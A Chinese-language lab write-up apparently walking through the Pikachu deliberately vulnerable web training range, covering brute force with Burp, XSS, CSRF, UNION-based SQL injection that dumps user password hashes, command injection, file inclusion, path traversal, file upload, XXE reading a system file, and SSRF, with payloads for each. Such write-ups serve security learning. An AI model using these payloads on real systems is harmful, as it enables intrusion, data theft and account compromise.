pikachu 靶场通关(全)

一.暴力破解

 1.1基于表单的暴力破解

1.1.1 漏洞利用

burp抓包,ctrl+i 添加爆破

根据返回长度得到两个用户

admin 123456

test abc123

 1.1.2 源代码分析

文件路径在:vul/burteforce/bf_form.php

通过注释以及说明了,没有验证码也没有其他的访问控制,直接开始爆破就行

 1.2 验证码绕过(on server)

1.2.1 漏洞利用

 比上面多了一个验证码,我们在提交时抓包,然后ctrl+r  重放,多点击几次send 然后看返回结果

   发现同一个验证码我们重复使用了多次,返回的结果时用户名或密码错误,并没有提示验证码失效,也就是只要我们这个页面不刷新,就可以一直用这个验证码,那就跟第一关一样,直接ctrl+i拿去爆破,得到了跟上面一样的用户名跟密码

分别是  admin 123456

            test       abc123

1.2.2  源代码分析

文件路径在:vul/burteforce/bf_server.php

 关键点在于36行,注释也以及硕明白了,在验证完成后并没有销毁掉session['vcode'],导致了我们可以一直重复利用改验证码

1.3 验证码绕过(on client)

1.3.1 漏洞利用

输入验证码后,这提示也太快了把,点击后就立马弹出了错误,打开f12再试一次,果然,根本就没有发起http请求,验证码来自于前端的js,难怪这么快

 burp抓包验证下 将验证码的vcode参数置空

 发现提示的是用户名或密码错误,没有校验验证码参数,那么直接开始爆破即可

1.3.2 源代码分析

文件路径:就在当前页面

F12查看源代码,果然是前端生成的验证码,服务器并不校验

1.4 token防爆破

1.4.1 漏洞利用

这里抓包可以看到多了个token,并且重放无法继续利用

经过查找发现是在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,那么直接拿去burp上开始爆破

ctrl+i 发送到爆破

模式选择 pitchfork  勾选两个参数,一个是密码,一个是token

密码选项加载密码字典,token选项选择  Recursive grep

 然后来到设置选项 勾选跟随重定向,然后点击正则的 Add

 鼠标选中token的值,burp会自动生成正则表达式,不用自己手动输,点击ok

 线程选项要更改一下, 设为单线程,然后直接开始爆破

发现每次爆破的自动带入了当前页面的token,依旧根据长度判断

 爆破成功,得到 admin的密码为123456

1.4.2 源代码分析

文件路径在   vul/burteforce/bf_token.php

在文件的63行设置了token

 跟进函数,函数每次调用前都会检查当前session是否有token参数,有的话会先删除掉这个token再重新生成并保存到session中,也就无法重复利用了

二:Cross-Site Scripting(xss)

概述:Cross-Site Scripting的简写css与前端的css重名了,所以称之为xss

2.1 反射型xss(get)

2.1.1 反射型xss(get)漏洞利用

输入到一半发现有字符长度限制,f12打开,将20个长度的限制加大

输入  <script>alert(/1/)</script>

成功弹窗

2.1.2 源码分析

文件路径  vul/xss/xss_reflected_get.php

直接接受我们get请求传递上来的内容未经任何过滤直接输出,导致了xss

 2.2 反射型xss(post)

2.2.1 漏洞利用

这里首先是一个登录框,直接根据我们上面爆破到的用户名跟密码登录即可

我这里用  admin  123456

 也是没有任何过滤,直接在输入框输入payload就行

<script>alert(/1/)</script>

2.2.2 源码分析

文件路径:vul/xss/xsspost/xss_reflected_post.php

这里与上面一关唯一不同的就是传递的方式有GET转为了POST,同样也是无任何过滤直接返回到前端

 2.3 存储型xss

2.3.1 漏洞利用

也是无任何过滤,直接输入 payload

<img src=1 οnerrοr=alert`1`>

2.3.2 源码分析

vul/xss/xss_stored.php

也是无任何过滤,与前面不同的是这次将值传入了数据库,然后从数据库取值 

2.4 dom型xss

这里是将传递的值当作了标签的href属性,插入payload   javascript:alert`1`

 2.5 DOM型xss-x

依旧使用javascript伪协议

javascript:alert`1`

2.6 xss之盲打

直接插入payload  <svg οnlοad=alert`1`>

后台的地址为 locaohost/vul/xss//xssblind/admin.php

 2.7 xss之过滤

payload  "><svg οnlοad=alert`1`>

2.8 xss之htmlspecialchars

这个函数会过滤简括含号,但是我们的输出点是在a标签的href属性当中,直接使用伪协议即可

payload : javascript:alert`1`

还有就是htmlspcialchars 默认不对单引号过滤  也可以使用 '

payload :   ’ οnclick='alert`1`'

 2.9 xss之href输出

payload : javascript:alert`1`

2.10 xss之js输出

这次的输出点在js上面,闭合掉前面的js,再插入代码

payload :</script><script>alert(/1/)</script>

三:csrf

3.1  CSRF(get)   CSRF(post)

在修改内容包的页面  engagement tools -> generte csrf poc

自动生成一个csrf的html文件,放到浏览器即可触发

token csrf 目前没搞定

token在页面内容,想的是ajax先获取到页面token,将token替换再次发送一个csrf,但是ajax没法跨域,网上搜了token也是防止csrf的一种方式

四: SQL-Inject

4.1 数字型注入(post)   手工注入

是一个下拉菜单,无法通过浏览器修改内容,那上burp

输入单引号   页面报错,那么可能存在sql注入 

id=1   页面返回内容 

id=2    页面返回不一样的内容

id=2-1   页面返回跟页面1一样的内容,说明后端执行了2-1,所以返回了id=1的内容,判断得知这是一个数字型的注入

判断字段数  id=1 order by 10  //order by 是排序,如果字段数大于10,那么返回正常,字段数小于我们的排序的数,就会出错

order by 2 返回正常  order by3 返回错误,得到字段数为2

判断能回显的字段   id=-1 union select 1,2 -- -

//union语句聚合两个查询的内容,由于页面只返回一行,所以在前面的输入一个不存在的id,我这里直接使-号,以返回我们输入的内容,这里页面上将1,2都返回了,得知两个字段都有回显, -- -的意思是注释掉后面的sql语句

id=-1 union select user(),database()-- -    查看用户名跟数据库

得到是root用户,使用的是pikachu数据库 

查询当前数据库中的表

id=-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -&submit=%E6%9F%A5%E8%AF%A2

 得到 pikachu数据库中有5张表

httpinfo,member,message,users,xssblind

查询字段名 -错误

根据名称判断得知,users表中的字段比较重要,那就查询这张表id=-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -&submit=%E6%9F%A5%E8%AF%A2

 得到这一个字段 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level,id,username,password

获取字段值

获取字段名-更正

上面仅仅判断table_name = users =很多数据库中都有users这个表,查询的结果是相当的不准确,这次再次加上  table_schema="pikachu"

id=-1 union select group_concat(column_name),2 from information_schema.columns where  table_schema="pikachu" and table_name="users"-- - &submit=%E6%9F%A5%E8%AF%A2

得到只有 id username password,level 这4张表

根据字段查询内容 

id=-1 union select group_concat(username),group_concat(password) from `users`-- - &submit=%E6%9F%A5%E8%AF%A2

 得到3个用户跟对于的3个密码,其中admin对于的密码是e10abc开头,一眼就认出是 123456的md5加密

当然,平时遇到sql注入还是sqlmap一把梭,不过学习还是要知道原理

4.2 字符型注入(get)

payload  vince' and 1=1-- -

4.3搜索型注入

payload:   allen' and 1=1-- -

4.4 xx型注入

payload: vince')-- -

五:RCE

5.1 exec "ping"

payload  127.0.0.1 && echo 123

5.2 exec "eval"

eval函数是将字符串当作php代码执行,我们可以直接调用system()函数执行系统命令,达到代码执行到系统命令执行

payload: system("whoami");

六: File Inclusion

 6.1 本地文件包含

http://pikachu.cn/vul/fileinclude/fi_local.php?filename=../../../../../../../.././a.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

读取到了本地磁盘 a.txt的内容

6.2 远程文件包含

payload: http://pikachu.cn/vul/fileinclude/fi_remote.php?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

七:Unsafe Filedownload

不安全的文件下载

在参数filename

payload: http://pikachu.cn/vul/unsafedownload/execdownload.php?filename=../../../../../../../a.txt

八: Unsafe Fileupload 不安全的文件上传

8.1 client check

客户端校验,将自己的php脚本重命名为png结尾,然后上传的时候抓包,将名称该过来

 路径前台返回,拼接访问

8.2 MIME type

这里是校验上传的   Content-Type: image/png

由于我们后缀本来就是png,就是正确的,还是跟上面一样,将png更改为php

8.3 getimagesize

这里的后缀名是限制死的只能使用图片后缀

我们现在一张正常图片用编辑器打开,在末尾添加上php脚本

 然后通过上方的本地文件包含当作php执行

 9. Over Permission

9.1 水平越权

http://pikachu.cn/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

 得到ili的信息,我们更改url中的username参数,更改为lucy 发现我们能获取到同等级用户lucy的信息,这就是水平越权

9.2 垂直越权

通过提示得到有admin管理员用户,可以添加信息   普通用户piukachu 只能查看信息

添加页面的网址在 ​​​​​​http://pikachu.cn/vul/overpermission/op2/op2_admin_edit.php

普通用户登录直接访问这个连接,输入后提交,发现我们普通用户的身份依旧能使用管理员的添加用户,这就是垂直越权

十: ../../

路径穿越

payload:http://pikachu.cn/vul/dir/dir_list.php?title=../../../../../../../../../a.txt

十一: 敏感信息泄露

那直接f12打开开翻 得到用户名跟密码  

 十二:PHP反序列化

payload:   O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

十三:XXE

payload :<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <a>&xxe;</a>

十四:URL重定向

url参数可控

payload: pikachu.cn/vul/urlredirect/urlredirect.php?url=http://www.baidu.com

十五:SSRF 

15.1 SSRF(curl)

url参数可控

payload: pikachu.cn/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

15.2 SSRF(file_get_content)

file参数可控

payload:  http://pikachu.cn/vul/ssrf/ssrf_fgc.php?file=d://a.txt

打算是当天搞定的,现在已经 02点37分了,后面只有payload细节不详细了,通过这个靶机还是认识到自己的不足

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801604.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】结构体、枚举、联合(自定义类型)

文章目录 前言一、结构体1.结构体的声明2.结构体的自引用3.结构体变量的定义和初始化4.结构体成员的访问5.结构体内存对齐&#xff08;重点&#xff09;6.#pragma修改默认对齐数7.结构体传参 二、位段1.位段的声明2.位段的内存分配3.位段的跨平台问题 三、枚举四、联合 &#x…

全速前进:2024年MAD(机器学习,人工智能和数据)前景(20000字长文)

THE 2024 MAD (MACHINE LEARNING, ARTIFICIAL INTELLIGENCE & DATA) LANDSCAPE 是FirstMark对数据、分析、机器学习和人工智能生态系统的第十次年度展望和「现状」描述 。 在这个领域的10多年里&#xff0c;事情从来没有像今天这样令人兴奋和充满希望。我们多年来描述的所…

编译Nginx配置QUIC/HTTP3.0

1. 安装BoringSSL sudo apt update sudo apt install -y build-essential ca-certificates zlib1g-dev libpcre3 \ libpcre3-dev tar unzip libssl-dev wget curl git cmake ninja-build mercurial \ libunwind-dev pkg-configgit clone --depth1 https://github.com/google/b…

Web 后台项目,权限如何定义、设置、使用:菜单权限、按钮权限 ts element-ui-Plus

Web 后台项目&#xff0c;权限如何定义、设置、使用&#xff1a;菜单权限、按钮权限 ts element-ui-Plus 做一个后台管理项目&#xff0c;里面需要用到权限管理。这里说一下权限定义的大概&#xff0c;代码不多&#xff0c;主要讲原理和如何实现它。 一、权限管理的原理 权限…

自动驾驶基础技术-无迹卡尔曼滤波UKF

自动驾驶基础技术-无迹卡尔曼滤波UKF Unscented Kalman Filter是解决非线性卡尔曼滤波的另一种思路&#xff0c;它利用Unscented Transform来解决概率分布非线性变换的问题。UnScented Kalman Filter不需要像Extended Kalman Filter一样计算Jacobin矩阵&#xff0c;在计算量大…

Pixel 手机上连接提示受阻,无法上网-解决方法

命令行中输入 adb shell settings delete global captive_portal_https_urladb shell settings delete global captive_portal_http_url输入服务器信息 adb shell settings put global captive_portal_http_url http://connect.rom.miui.com/generate_204adb shell settings …

从零开始:构建、打包并上传个人前端组件库至私有npm仓库的完整指南

文章目录 一、写组件1、注册全局组件方法2、组件13、组件2 二、测试三、发布1、配置package.json2、生成库包3、配置发布信息4、发布 四、使用1、安装2、使用 五、维护1、维护和更新2、注意事项 一、写组件 确定组件库的需求和功能&#xff1a;在开始构建组件库之前&#xff0c…

基于jenkins+gitlab+docker部署zabbix

背景 我现在已经在一台服务器上部署了jenkins和gitlab&#xff0c;现在有一个场景是需要在服务器上再部署一个zabbix&#xff0c;需要通过jenkins加上gitlab部署&#xff0c;并且要求zabbix是通过docker部署的 前提条件 jenkins、gitlab已完成部署并能正常访问&#xff0c;服…

再探Java为面试赋能(二)Java基础知识(二)反射机制、Lambda表达式、多态

文章目录 前言1.4 反射机制1.4.1 Class对象的获取1.4.2 Class类的方法1.4.3 通过反射机制修改只读类的属性 1.5 Lambda表达式1.5.1 函数式接口1.5.2 Lambda表达式的使用 1.6 多态1.6.1 多态的概念1.6.2 多态的实现条件1.6.3 重载&#xff08;Overload&#xff09;和重写&#x…

大数据之搭建Hive组件

声明&#xff1a;所有软件自行下载&#xff0c;并存放到统一目录中 1.Hive组件的安装配置 1.1实验环境 服务器集群3 个以上节点&#xff0c;节点间网络互通&#xff0c;各节点最低配置&#xff1a;双核 CPU、8GB 内存、100G 硬盘运行环境CentOS 7.4服务和组件完成前面章节实验…

Java基础笔记(一)

一、面向对象高级基础 1.Java的动态绑定机制 public class DynamicBinding {public static void main(String[] args) {//a 的编译类型 A, 运行类型 BA a new B();//向上转型System.out.println(a.sum());//40 子类sum()注释后-> 30System.out.println(a.sum1());//30 子类…

android-自定义TextView在文字内容末尾添加图片icon、可以添加间距

样式示意图 自定义属性 style.xml <declare-styleable name"IconLabelTextView"><attr name"iconSrc" format"reference"/><attr name"iconPaddingStart" format"dimension"/><attr name"iconPad…

访问网站显示不安全是什么原因?怎么解决?

访问网站时显示“不安全”&#xff0c;主要原因以及解决办法&#xff1a; 1.没用HTTPS加密&#xff1a;网站还在用老的HTTP协议&#xff0c;数据传输没加密&#xff0c;容易被人偷看或篡改。解决办法是网站管理员启用HTTPS&#xff0c;也就是给网站装个“SSL证书”。这个是最常…

模块十三 异常_Object

回顾与重点 模块十二回顾 权限修饰符&#xff1a; public → protected → 默认 → private a. 构造一般用public&#xff1a;便于new对象 b. 成员方法一般用public&#xff1a;便于调用 c. 属性一般用private&#xff1a;封装思想 final&#xff1a;最终的 a. 修饰类&#x…

k8s_入门_kubelet安装

安装 在大致了解了一些k8s的基本概念之后&#xff0c;我们实际部署一个k8s集群&#xff0c;做进一步的了解 1. 裸机安装 采用三台机器&#xff0c;一台机器为Master&#xff08;控制面板组件&#xff09;两台机器为Node&#xff08;工作节点&#xff09; 机器的准备有两种方式…

前端开发之el-table(vue2中)固定列fixed滚动条被固定列盖住

固定列fixed滚动条被固定列盖住 效果图前言解决方案 效果图 前言 在使用fixed固定列的时候会出现滚动条被盖住的情况 解决方案 改变el-table固定列的计算高度即可 .el-table {.el-table__fixed-right,.el-table__fixed {height:auto !important;bottom:15px !important;}}

数据结构(七)——查找的基本概念

七、查找 7.1 查找的基本概念 7.1.1 基本概念 查找 —— 在数据集合中寻找满⾜某种条件的数据元素的过程称为查找 查找表&#xff08;查找结构&#xff09;—— ⽤于查找的数据集合称为查找表&#xff0c;它由同⼀类型的数据元素&#xff08;或记录&#xff09;组成 关键字 …

Golang | Leetcode Golang题解之第18题四数之和

题目&#xff1a; 题解&#xff1a; func fourSum(nums []int, target int) (quadruplets [][]int) {sort.Ints(nums)n : len(nums)for i : 0; i < n-3 && nums[i]nums[i1]nums[i2]nums[i3] < target; i {if i > 0 && nums[i] nums[i-1] || nums[i]…

数字化智慧养老:引领老年人融入科技时代新生活

hello宝子们...我们是艾斯视觉擅长ui设计和前端开发10年经验&#xff01;希望我的分享能帮助到您&#xff01;如需帮助可以评论关注私信我们一起探讨&#xff01;致敬感谢感恩&#xff01; 人类社会已经步入了一个全新的数字时代。在这个时代&#xff0c;互联网、大数据、人工智…

PDF锐化

PDF Shaper Ultimate(pdf转图片) 编辑->添加文件->选中一个要处理的pdf 操作->转换->PDF转为图片 ComicEnhancerPro设置(把图片锐化) PDF Shaper Ultimate(图片转pdf) 编辑-添加图片->选中所有锐化处理后的图片 转换->图片转为pdf&#xff08;会把所有图…